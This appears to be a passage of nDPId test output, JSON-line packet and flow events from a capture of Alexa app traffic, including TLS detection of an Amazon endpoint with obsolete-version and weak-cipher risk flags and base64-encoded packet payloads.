+00499{"flow_id":137,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2565,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976165,"pkt_ts_usec":192273,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AMDKkaPvePiC0\/vCCABFAABjZatAAEAG4RysECrYNF7ohptGAbs\/AhwbslOXXFAYAVdc2QAAFAMBAAEBFgMBADBSQIIfTbQwzak1XiVUUaFcUtabPa9IYqnmntQWj7webx5lx1apW1ykY8UmsIbVB+Y="} +02171{"flow_id":137,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2566,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976165,"pkt_ts_usec":196247,"pkt_caplen":1344,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1344,"pkt_l4_len":1310,"pkt":"AMDKkaPvePiC0\/vCCABFAAUyZaxAAEAG3EysECrYNF7ohptGAbs\/AhxWslOXXFAYAVca1wAAFwMBACCIA6SDRTDWwZkoTbAd9AiMvWUBwj5EmEBwkM1hEfSBXxcDAQTg7HALRJ765HAVBwdxoFt7F6OCVSznew3Nhq3Fpo3Kmhj3supbGgWO5nKg7Y20IAfYu0fFWVycDHEbWqU5dg\/fM33OdodiIHQ5JbhxkQPUEZlnN7PR8qwyrPGxSFjADZ1pYqFnHXkDOTElpuWIiuylDGZaNXyMwqjZqfA0hGR4YBcwRdnieHFhzG7hyHqFjP8OZo7mN6yRBrOwe87gn2UxMU5SM6S4h0fUlPohUDBNjUDmfj9RY4b3r4XcoPHt82+mKXE\/vFK44jL2+LzUbhcdimAjjwC4HvN615clyuK9FArLXJZcKvzHlYIA6jW8w7MMigNrjBtNBK1Jg5UXYnzrwqnpqk4AOYUGoydtdmR6re\/gREABDfgOVRriS+aZXrGTo0dAz54Y+7tFa8foiDuYDTZmUtMJRvDYdJTrvugkGt0AGrfG1vk0lOF\/GcOr5WB8kWchRAxxigUsw+6tBOAknOuqpvqM\/NTAAw2lbdiiJSPMsJfw\/qqYQ\/waCO\/Ru\/A1ycSQ+rDHUZL\/iXzV2IlqTRijWlxbA0Zo22vA2gLezJOrZ3pM\/PO9mzBWl28c3r2qA+pvowCtJES4H7IFhrAEqwGSdKf\/Y8wXMEchWkRw0t0jTJPPuVgMBCC\/96pEgv3Rv3A6jAtUOXq502lcv5bZFGHuw3qV5NmktJss0ym6ofvMfADxSpkAY6Kc2Qrzrb2zSXzY97\/CBqDJURRz7eEzxRrUSOW2mYELLcT15YcXdhHD3pb17v+cFGtzDPizau2IKhQKBPB6eXbeQqQsXGoL8LLSmK5WaqsBiJuuaq7iO9VP2\/bbl6nHRzpZnb4cIokKz45ngaPU3doKQoAugCNYb7xVxYBM1sWldq28WzraMDZvUdsyLWlC7PlqEpX9ZcCebs1CYkhm5jFlD1r1lmcYBOeIQKWel8dJB7qNwhSDkT3uQaWCxN1Q9mJU+At\/Sf009iXx5+vFUdaVZ+\/E\/CkbwafGXUC\/xSzU+a5f5NbZl5IJ3Lc86Xb100Ml31NXLwJReDTHV1xS4VAjFvFbiIMaoPFaOjZcNOtcrIWHtyQvPsUkyyJhfRnMcshnZGZ7v2EjcKpzgdtvMVoOCLKr4Z9V8lFP6H1o5rWQAPd1B3UTMVsohzMnbKtFmVE3sJMvTttn8NfJk4VM8QO4laYpbK1zJLYfiknCqzVzKFn2jrvd30HYsaBVeiO9LW2nNVUcoVFmzmfpZ1wimKrfdBXcJpP7pcQA2\/y9rXkMHVRS5Fl0B7l1vhpztUZFvrAZLOv+D5aBby7QJXG8wvsQR+l7x3K4QtOw3IYOXwsuapLDTgFdal7\/Xu4AP4BpX1GhSzUC+mOhcScnngXerHGiXKCGHosLFSVg1RR\/55ebSg5Fon1ezHsF7ahCxoWoaguEylgv8lmHulw1Uxff1hjuGbzjyfFud9Go+4uy47LBvWi5LeSr+PEh6YJGpSQBg2XIeltmoPo\/\/pDOC4vQtWXoCZSha+63PNmJ3shz4L+m2mC4FGLLXx+UdhuEQSm5pz8ZGYGqvk7df4e96hxz0xUk\/QGHooVUKJOE7qe2tbofTmZhqzzXA7+KFouW\/nzJgWZ\/QGvwwR6snyF9Kln2wtkjs4nS1WPcIF3uz6BycMPznpYo9AXLN3wOQYDPLdeSkhio4cBteYpv"} +00426{"flow_id":137,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2567,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976165,"pkt_ts_usec":250288,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoxpRAAOcG2W00XuiGrBAq2AG7m0ayU5dcPwIcVlAQf\/n6AwAAAAAAAAAA"} +02171{"flow_id":137,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2568,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976165,"pkt_ts_usec":511686,"pkt_caplen":1344,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1344,"pkt_l4_len":1310,"pkt":"AMDKkaPvePiC0\/vCCABFAAUyZa1AAEAG3EusECrYNF7ohptGAbs\/AhxWslOXXFAYAVca1wAAFwMBACCIA6SDRTDWwZkoTbAd9AiMvWUBwj5EmEBwkM1hEfSBXxcDAQTg7HALRJ765HAVBwdxoFt7F6OCVSznew3Nhq3Fpo3Kmhj3supbGgWO5nKg7Y20IAfYu0fFWVycDHEbWqU5dg\/fM33OdodiIHQ5JbhxkQPUEZlnN7PR8qwyrPGxSFjADZ1pYqFnHXkDOTElpuWIiuylDGZaNXyMwqjZqfA0hGR4YBcwRdnieHFhzG7hyHqFjP8OZo7mN6yRBrOwe87gn2UxMU5SM6S4h0fUlPohUDBNjUDmfj9RY4b3r4XcoPHt82+mKXE\/vFK44jL2+LzUbhcdimAjjwC4HvN615clyuK9FArLXJZcKvzHlYIA6jW8w7MMigNrjBtNBK1Jg5UXYnzrwqnpqk4AOYUGoydtdmR6re\/gREABDfgOVRriS+aZXrGTo0dAz54Y+7tFa8foiDuYDTZmUtMJRvDYdJTrvugkGt0AGrfG1vk0lOF\/GcOr5WB8kWchRAxxigUsw+6tBOAknOuqpvqM\/NTAAw2lbdiiJSPMsJfw\/qqYQ\/waCO\/Ru\/A1ycSQ+rDHUZL\/iXzV2IlqTRijWlxbA0Zo22vA2gLezJOrZ3pM\/PO9mzBWl28c3r2qA+pvowCtJES4H7IFhrAEqwGSdKf\/Y8wXMEchWkRw0t0jTJPPuVgMBCC\/96pEgv3Rv3A6jAtUOXq502lcv5bZFGHuw3qV5NmktJss0ym6ofvMfADxSpkAY6Kc2Qrzrb2zSXzY97\/CBqDJURRz7eEzxRrUSOW2mYELLcT15YcXdhHD3pb17v+cFGtzDPizau2IKhQKBPB6eXbeQqQsXGoL8LLSmK5WaqsBiJuuaq7iO9VP2\/bbl6nHRzpZnb4cIokKz45ngaPU3doKQoAugCNYb7xVxYBM1sWldq28WzraMDZvUdsyLWlC7PlqEpX9ZcCebs1CYkhm5jFlD1r1lmcYBOeIQKWel8dJB7qNwhSDkT3uQaWCxN1Q9mJU+At\/Sf009iXx5+vFUdaVZ+\/E\/CkbwafGXUC\/xSzU+a5f5NbZl5IJ3Lc86Xb100Ml31NXLwJReDTHV1xS4VAjFvFbiIMaoPFaOjZcNOtcrIWHtyQvPsUkyyJhfRnMcshnZGZ7v2EjcKpzgdtvMVoOCLKr4Z9V8lFP6H1o5rWQAPd1B3UTMVsohzMnbKtFmVE3sJMvTttn8NfJk4VM8QO4laYpbK1zJLYfiknCqzVzKFn2jrvd30HYsaBVeiO9LW2nNVUcoVFmzmfpZ1wimKrfdBXcJpP7pcQA2\/y9rXkMHVRS5Fl0B7l1vhpztUZFvrAZLOv+D5aBby7QJXG8wvsQR+l7x3K4QtOw3IYOXwsuapLDTgFdal7\/Xu4AP4BpX1GhSzUC+mOhcScnngXerHGiXKCGHosLFSVg1RR\/55ebSg5Fon1ezHsF7ahCxoWoaguEylgv8lmHulw1Uxff1hjuGbzjyfFud9Go+4uy47LBvWi5LeSr+PEh6YJGpSQBg2XIeltmoPo\/\/pDOC4vQtWXoCZSha+63PNmJ3shz4L+m2mC4FGLLXx+UdhuEQSm5pz8ZGYGqvk7df4e96hxz0xUk\/QGHooVUKJOE7qe2tbofTmZhqzzXA7+KFouW\/nzJgWZ\/QGvwwR6snyF9Kln2wtkjs4nS1WPcIF3uz6BycMPznpYo9AXLN3wOQYDPLdeSkhio4cBteYpv"} +00425{"flow_id":137,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2569,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976165,"pkt_ts_usec":590941,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAow7pAAOcG3Ec0XuiGrBAq2AG7m0ayU5dcPwIhYFAQf+X1DQAAAAAAAAAA"} +00688{"flow_id":137,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2570,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976166,"pkt_ts_usec":267258,"pkt_caplen":251,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":251,"pkt_l4_len":217,"pkt":"ePiC0\/vCAMDKkVoBCABFAADtyNxAAOcG1mA0XuiGrBAq2AG7m0ayU5dcPwIhYFAY\/beG8QAAFwMBAMDJv35d\/4mG6xcuQdUXTW8L7k5gVEHMWQZwoBlF6usDy812CjYM7U1PdElAKcWIQgOJFIG8iiG33nf3XoZIiIpAVLYDf9Y89hEgE7bXAie3tIqR4W3xskqkH6ig88TldRDlkGl4crebAn89VA2QTRzdyixv3ETKn6o3DAiSD8T6h\/cZkgREUy85uUk5MsASg2LHRufKSVLZ6r2buWxlO1mki2TE1nygHir39sNCBGYD78Jm\/CohIvznj0x6GV7GuRE="} +00688{"flow_id":137,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2571,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976166,"pkt_ts_usec":715739,"pkt_caplen":251,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":251,"pkt_l4_len":217,"pkt":"ePiC0\/vCAMDKkVoBCABFAADtyNxAAOcG1mA0XuiGrBAq2AG7m0ayU5dcPwIhYFAY\/beG8QAAFwMBAMDJv35d\/4mG6xcuQdUXTW8L7k5gVEHMWQZwoBlF6usDy812CjYM7U1PdElAKcWIQgOJFIG8iiG33nf3XoZIiIpAVLYDf9Y89hEgE7bXAie3tIqR4W3xskqkH6ig88TldRDlkGl4crebAn89VA2QTRzdyixv3ETKn6o3DAiSD8T6h\/cZkgREUy85uUk5MsASg2LHRufKSVLZ6r2buWxlO1mki2TE1nygHir39sNCBGYD78Jm\/CohIvznj0x6GV7GuRE="} +00415{"flow_id":31,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2573,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976168,"pkt_ts_usec":813075,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoG7VAAEAGvnisECrYCsl+8Z0IH5CvoFXQAAAAAFAUAVeLzQAA"} +00415{"flow_id":40,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2575,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976168,"pkt_ts_usec":960939,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoWzlAAEAGfvSsECrYCsl+8Z0KH5BhrRWqAAAAAFAUAVcZ5QAA"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2576,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":138,"flow_packet_id":1,"flow_first_seen":1490976169531,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45752,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":138,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2576,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976169,"pkt_ts_usec":531098,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8anRAAEAG3HqsECrYNF7ohrK4AbvvmuryAAAAAKAC\/\/9DtAAAAgQFtAQCCAoA9oCGAAAAAAEDAwg="} +00429{"flow_id":138,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2577,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976169,"pkt_ts_usec":726806,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwhFlAAOcGG6E0XuiGrBAq2AG7srhwEXla75rq83ASH\/73zwAAAgQFtAEDAwY="} +00416{"flow_id":138,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2578,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976169,"pkt_ts_usec":729899,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoanVAAEAG3I2sECrYNF7ohrK4AbvvmurzcBF5W1AQAVdCQQAA"} +00740{"flow_id":138,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2579,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976169,"pkt_ts_usec":731050,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"AMDKkaPvePiC0\/vCCABFAAEXanZAAEAG252sECrYNF7ohrK4AbvvmurzcBF5W1AYAVfzhwAAFgMBAOoBAADmAwNQGProSMl78hAUDaTmTX5yUTx4scZiFRjHHV08S9IO6yCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAgWlrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB9+voAAP8BAAEAAAAAGAAWAAATcGl0YW5ndWkuYW1hem9uLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACBoaAB0AFwAY6uoAAQA="} +00738{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2579,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":138,"flow_packet_id":4,"flow_first_seen":1490976169531,"flow_last_seen":1490976169731,"flow_tot_l4_data_len":347,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45752,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00536{"flow_id":138,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2580,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976169,"pkt_ts_usec":888180,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ePiC0\/vCAMDKkVoBCABFAAB9eExAAOcGJ2E0XuiGrBAq2AG7srhwEXlb75rr4lAYf\/iM1wAAFgMBAEoCAABGAwFY3n2pJltIvltxhfK2SiAqZURuo+oby5xQQ9okKpdqHCCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAvABQDAQABAQ=="} +00853{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2580,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":138,"flow_packet_id":5,"flow_first_seen":1490976169531,"flow_last_seen":1490976169888,"flow_tot_l4_data_len":452,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":90,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45752,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","alpn":"h2,http\/1.1"}} +00491{"flow_id":138,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2581,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976169,"pkt_ts_usec":888318,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ePiC0\/vCAMDKkVoBCABFAABdeE5AAOcGJ380XuiGrBAq2AG7srhwEXmw75rr4lAYf\/h6LgAAFgMBADBQVkNT4uaaSSAglKmvPunGJayO3SHtKYOmCtH54SGOEkJf3Z9dbCNljTNT8klD2+o="} +00417{"flow_id":138,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2582,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976169,"pkt_ts_usec":889444,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoandAAEAG3IusECrYNF7ohrK4AbvvmuvicBF5sFAQAVdA\/QAA"} +00416{"flow_id":138,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2583,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976169,"pkt_ts_usec":889719,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoanhAAEAG3IqsECrYNF7ohrK4AbvvmuvicBF55VAQAVdAyAAA"} +00500{"flow_id":138,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2584,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976169,"pkt_ts_usec":890756,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AMDKkaPvePiC0\/vCCABFAABjanlAAEAG3E6sECrYNF7ohrK4AbvvmuvicBF55VAYAVcGrAAAFAMBAAEBFgMBADD9DVK6Ic8S6q\/dSJgqxcQvPM+gtGP4KlULP0poOsVfe2B8SUb9rEpyvAW\/Xh3dfxM="} +02400{"flow_id":138,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2585,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976169,"pkt_ts_usec":906112,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXcanpAAEAG1tSsECrYNF7ohrK4AbvvmuwdcBF55VAQAVfU1wAAFwMBACCH5DgCmEjNwH6sdRHMSYFbN\/PAhFdwv2fcL1gsGWvrMBcDAQZA\/tBDKLkdWdOpJ5Bgy+XgjSAmhhuvyHz++aDONOdsbohlrw22PKD7YnveyQwaY6+motdGvmyZvT\/Jwj7yQZFgA\/qt1d5EEluWJ+nse2c6V3WVhoofiCM4b2q90UXkprJMj6cPKSeNjnDi8McWiSxaQFfbhXTy0ttcc0iXcMnhnzKhdM5A+TQKVq3e1K\/EgJnjtR0mLq9D9Xohkv2vyehkn6i90Y+Tn89Djx07G53aetZ\/S4dtyJnoCUXd3BDxCJ1lewDYSkmYMF4RiwaoJ6e144ioCuzFsi2D+iNyoUDHj3jKGAKlJPjdp4bZncVL7tUwbIrzjDRNS8a50ygMQD5SVYgnpZTn3phrPtqa63NbSAPxhsJFidEBOkt+\/ghqXIz90nwwCtDO1\/YnkXaPRb8p1k9qr\/E9SNyc4QnjGDUTqEzhZ+OLA83A+lUP+qkvJyfjJ20O+CBM3FYn8RDB9Xh1YY79t\/NJooKUKjOdd4yIZZJiOUABuE6LxL2RZe1+KxW3WqMO5xx3q4WKSrm2N8Bo9aQM4C1bcNYnO8hzuZxuIHq69tekmU1K0X17H5cFeJQeKrqWyuUQWJ5qs8OqttO3wk3TvgbEl2tq0C0l70b1ZF8ixkOaK9BapDrhsUnbZocMU5f4pNqrCnduAw74CLtkQz7rOXeWA9syTI1QnQGhEoNyXFxKlTqz2ah9BovN12v9pCgFicmgWtMGPdwwscW+w3AwLTIJLmppgjX65+MrN+DwDZyDs23nQ7kACSqR+CYZBaC+NVbb1m19\/NVxs4aGkeb50r0OlXaISO9wO+KPiaP2tJLL3YroZbnjmGEngvSxjQ609ly9dShgoee3iwE2PmOfV1g4T2dyKkBNzHNhVll78btPBQYyILORrXDF7E7rLb2VibgpDUwIzGI0cY060KYBci\/xXRSvWgUITfsRNdHjnyMWw0ANnagRHRz2ZHO4cXzecDolyAyGPjTD9wD47rOVGyXzZukbVG3w0Y\/wKuR61hSlh3WH7t6eq1sKyMUU7zJQ0NKJR\/7CyUNSR3pu5tPdiHctZw8FpFMo27rzqpfFImSz3nA2Yk2DLSnRDkXEzEPC7KSJGt29JGgvEF085Ios5SCheypCYnBZhYGIIwzad2zFKqh6rDnYJo9jlKYPVSUYBmT1xAYMRguzLIbAIdwjBsXmE3y6oBvpLF3vFVzCRsz\/z03taAXJs9DrWhwVKSM7XUEUtLdNgo+vpW++UPuUkIofYZ6OEi356UDoNUk5h8yThx3eu0kfgMbu+Xxe1I+NV0NzBZoHNALyzyfEtxCEkiIvKeAbof\/dC6nj5xkyjWxMM4\/kQT\/WxdT8\/vpgU4y44+P75jsuPsi9dv+lLWy\/pxdsSQZ42i5oow6WdF94hvfSY5wUMm6BX9wouLwWaIvn27LH3Vx7fz0XmvAQ17So0KRWouMp4kiIEV28Np85hTdkU2xJhVzUnHDglwdV13Aiohc8kzwIABJ3KY9snRfz6d2BbcjdUQ5+6s1U5o3UX8As3J5Cnn4qgKZgIMHhmEWz\/Q5W5NxO6EN0\/V4nRSMlLmlS7zJrOxCeF7Fv3EJx4daCalyNDUc2jDGAJi1nwLn\/czTfiacjZzbMLMuZY4sMSLMcTY3hHaVUJetDNYuLEL23bDWiWINu\/ClG31T7m2ptLCvDq7ACqfKbSQVcpS8ebMgcA0fPfSSiaRaLLl39NrTA9K8dM4NRyhNr0ma1ahoWCOEhZAfmDr0YYNgnhHq69HngREh6aifd407owyVAVitKPY1ZU\/UaFIwk7HuFVgC2H2JgmAUJDHiNVcLC\/W3ItcCsAO5nythZ4h1AYeqc5m\/NkNZxRZBjr\/72cVDCgWGiym2fkDLTgTuZsNSK059j8pRaF\/gm69o="} +00669{"flow_id":138,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2586,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976169,"pkt_ts_usec":906448,"pkt_caplen":236,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":236,"pkt_l4_len":202,"pkt":"AMDKkaPvePiC0\/vCCABFAADeantAAEAG29GsECrYNF7ohrK4AbvvmvHRcBF55VAYAVfxCQAA5Z1tr4N1RVm\/XqfSAKgmF4L3tsnKJYgGIQQq88ZSNvdAQizkCyG49cWo5qaAuqTcjSKyoDlYE6ASDAr7LQ7hAi3UstndyLMsPNUjh5fBsfyLkSdmej3QTR0Mi4w+H2zE3BFt\/rh1Uuy\/RlmsD4lcWbCPyBfGW8zdNaS01It2bA5qTTo\/zAH3BQ6N1cNtY4XaEq30aUhqDGzRH0LWz1RwNpAlPRmE5YtwB1wtpYtsdJ\/jT2n+i3c="} +00425{"flow_id":138,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2587,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976170,"pkt_ts_usec":32401,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoeSNAAOcGJt80XuiGrBAq2AG7srhwEXnl75rsHVAQf\/fB7AAAAAAAAAAA"} +00424{"flow_id":138,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2588,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976170,"pkt_ts_usec":32557,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoei9AAOcGJdM0XuiGrBAq2AG7srhwEXnl75ryh1AQf927nAAAAAAAAAAA"} +01512{"flow_id":138,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2589,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976170,"pkt_ts_usec":60686,"pkt_caplen":859,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":859,"pkt_l4_len":825,"pkt":"ePiC0\/vCAMDKkVoBCABFAANNhEpAAOcGGJM0XuiGrBAq2AG7srhwEXnl75ryh1AY\/bA27QAAFwMBAyCM59eoL8uEPTx75PFu3CAlP3YuWBpZaav0\/a+DG14Qo7qA\/c6ioOREyNdRUqIJEUqhIKlhgtmyzasadVEGOSjf\/Zny9WcpCVbMxGqAaUBnze1Y9biUleVEBeffIOUorc\/rAyvH\/H7csNNmwXhPfgTQmjWwPU4iiwHhi3GfI\/3o2lGq2xYRjicp1ijRfhco8S1MWhJ9ou85kE9buLp4ZNA1MLshCt7aqHFMCDiz9cb+INhKM3qSwa3Qyr+jyn2f71ahKl9uZVIePoVwLa21WJRPT1KuffvGIYHgfe4La265pPxv0RvMIe7grZfCPOzOID3WJTZdq6Phr+NiEivg2LTalrRrhREZcbwpd2qLz3KKZpg4mdVKR3BaCG83OQ7KQdMVdXTgEXjw6bte5PxXKgMPzx6\/ITkm5ODNkjpvQc5meLk8nKL\/MT88+RWg5yxlA1pyrug3smUsr6xlxahBONns+TIr1gLSd24v1cJukvxBeU3MwigL38FLNn5lQdf0OIRx865cUvTlhBImaRKnyskbZwQpnhTa+uOmGGkPIoN4A66NJbfVEPa5vGqeEwFqrDujVAswbSm3J4dNRYB0FhF5ozuhL6ndIyHop6xw5wlKAx3+4SXBlL7XUXl+0paJpUPoUZSawxdjGIqwvOI99A9ozlNl3NhM3cN9Qxf78x3h0rVADdaliQhkLyCVmvjNOhvOAUrAfpKXSYbEf+6bfUhPqWCvHqyYnSvZIDfBJ\/wMwklkyPqmI0a92NqljjOOksMkQ9f2FDktNRXOLRHb7cqAqzFRTeyNc4tGWaBs8j9cK+W\/tIDNED4NFPOu8JL3jcjIxpm7cNSM4c+1z5awEEnS351MO0Awy6z\/iMz3xm1xnOvpygxnODElQnpy1FxAI7Z+8WiS5IfgCOuXB7FVJ\/zRLu